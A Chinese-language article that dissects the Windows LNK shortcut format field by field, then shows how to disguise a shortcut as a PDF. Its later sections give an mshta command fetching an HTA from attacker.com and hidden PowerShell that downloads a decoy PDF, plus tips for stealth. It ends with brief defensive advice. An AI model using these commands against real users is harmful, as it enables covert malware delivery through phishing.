LNK文件格式解析及伪装
字数 2813 2025-08-20 18:16:55
LNK文件格式解析及伪装技术详解
0x01 LNK文件格式解析
文件基本结构
LNK文件前20字节固定不变:
- HeaderSize(4 bytes, offset 0x00):固定值0x0000004C
- LinkCLSID(16 bytes, offset 0x04):固定GUID值00021401-0000-0000-C000-000000000046
0x01.1 LinkFlags
从offset 0x14开始的4字节为LinkFlags,示例值为0x000802DB,表示以下标志被设置:
- HasLinkTargetIDList
- HasLinkInfo
- HasRelativePath
- HasWorkingDir
- HasIconLocation
- IsUnicode
- HasExpIcon
- DisableLinkPathTracking
0x01.2 FileAttributes
从offset 0x18开始的4字节为FileAttributes,0x00000020表示FILE_ATTRIBUTE_ARCHIVE。
0x01.3 时间戳
从offset 0x1C开始,每个时间戳占8字节:
- CreateTime
- AccessTime
- WriteTime
0x01.4 FileSize
从offset 0x34开始的4字节表示文件大小,示例值为0x000E0400。
0x01.5 IconIndex
从offset 0x38开始的4字节表示图标索引,示例值为0x00000001。
0x01.6 ShowCommand & Hotkey
从offset 0x3C开始:
- ShowCommand(4 bytes):0x00000001表示SW_SHOWNORMAL
- Hotkey(2 bytes)
- 保留位(10 bytes)
0x01.7 LinkTargetIDList
当HasLinkTargetIDList标志设为1时,文件包含此结构:
- IDListSize(2 bytes):表示IDList总大小
- IDList:由多个ItemID组成
- TerminalID(2 bytes):全0作为结束标志
每个ItemID结构:
- ItemIDSize(2 bytes)
- Data(可变长度)
0x01.8 LinkInfo
当HasLinkInfo标志设为1时,文件包含此结构:
- LinkInfoSize(4 bytes)
- LinkInfoHeaderSize(4 bytes):固定值0x0000001C
- LinkInfoFlags(4 bytes):0x00000001表示VolumeIDAndLocalBasePath
- VolumeIDOffset(4 bytes)
- LocalBasePathOffset(4 bytes)
- CommonNetworkRelativeLinkOffset(4 bytes)
- CommonPathSuffixOffset(4 bytes)
- VolumeID结构(包含DriveType、DriveSerialNumber等)
- LocalBasePath(指向链接目标的完整路径)
- CommonPathSuffix
0x01.9 String Data
包含多个字符串结构,每个结构包含:
- CountCharacters(Unicode字符串长度)
- String(实际字符串内容)
根据LinkFlags可能包含:
- RELATIVE_PATH字符串
- WORKING_DIR字符串
- ICON_LOCATION字符串
0x01.10 EnvironmentVariableDataBlock
当HasExpString标志设为1时,文件包含此结构:
- BlockSize(4 bytes):固定值0x0314
- BlockSignature(4 bytes):固定值0xA0000001
- TargetAnsi(260 bytes):ANSI格式环境变量路径
- TargetUnicode(520 bytes):Unicode格式环境变量路径
0x01.11 EXTRA_DATA
由多个数据块组成,可能包含:
-
SpecialFolderDataBlock:
- BlockSize(4 bytes)
- BlockSignature(4 bytes):0xA000005
- SpecialFolderID(4 bytes)
- Offset(4 bytes)
-
KnownFolderDataBlock:
- BlockSize(4 bytes)
- BlockSignature(4 bytes):0xA00000B
- KnownFolderID(16 bytes)
- Offset(4 bytes)
-
PropertyStoreDataBlock:
- BlockSize(4 bytes)
- BlockSignature(4 bytes):0xA000009
- PropertryStore(492 bytes)
-
TrackerDataBlock:
- BlockSize(4 bytes)
- BlockSignature(4 bytes):0xA000003
- Length(4 bytes)
- Version(4 bytes)
- MachineID(16 bytes)
- Droid(32 bytes)
- DroidBirth(32 bytes)
0x02 构造迷惑性LNK文件
0x02.1 修改图标
- 找到ICON_LOCATION字符串部分
- 修改为伪装的扩展名(如".\1.pdf")
- 调整Unicode字符串长度(如0x07)
效果:LNK文件显示为PDF图标,但实际执行的是其他程序。
0x02.2 修改目标
- 修改EnvironmentVariableDataBlock中的TargetAnsi和TargetUnicode
- 改为%windir%\system32目录下不存在的EXE文件名
- 修改LinkTargetIDList中对应的ItemID
- 确保实际指向有效程序(如calc.exe)
效果:文件显示为PDF图标,但实际执行计算器程序。
0x03 扩展利用技术
高级攻击向量
- 创建指向mshta.exe的快捷方式
- 修改参数为HTA下载地址:
mshta.exe http://attacker.com/payload.hta - 在HTA payload前添加PDF打开逻辑:
Dim open_pdf Set open_pdf = CreateObject("Wscript.Shell") open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.3.27:8080/1.pdf',$env:temp+'\LNK文件格式解析(修改版).pdf');Start-Process $env:temp'\LNK文件格式解析(修改版).pdf'", 0, true
增强隐蔽性技巧
- 在WORKING_DIR字符串前添加大量空格
- 使目标路径长度超过260个字符
- 使用copy /B命令将LNK与正常PDF捆绑
- 增加文件大小可信度
- 修改图标为系统图标库中的常见图标
最终效果:受害者看到PDF文档正常打开,同时恶意代码在后台执行。
防御建议
- 禁用LNK文件的自动执行
- 显示已知文件扩展名
- 对可疑LNK文件进行静态分析
- 监控异常进程创建行为
- 使用应用程序白名单机制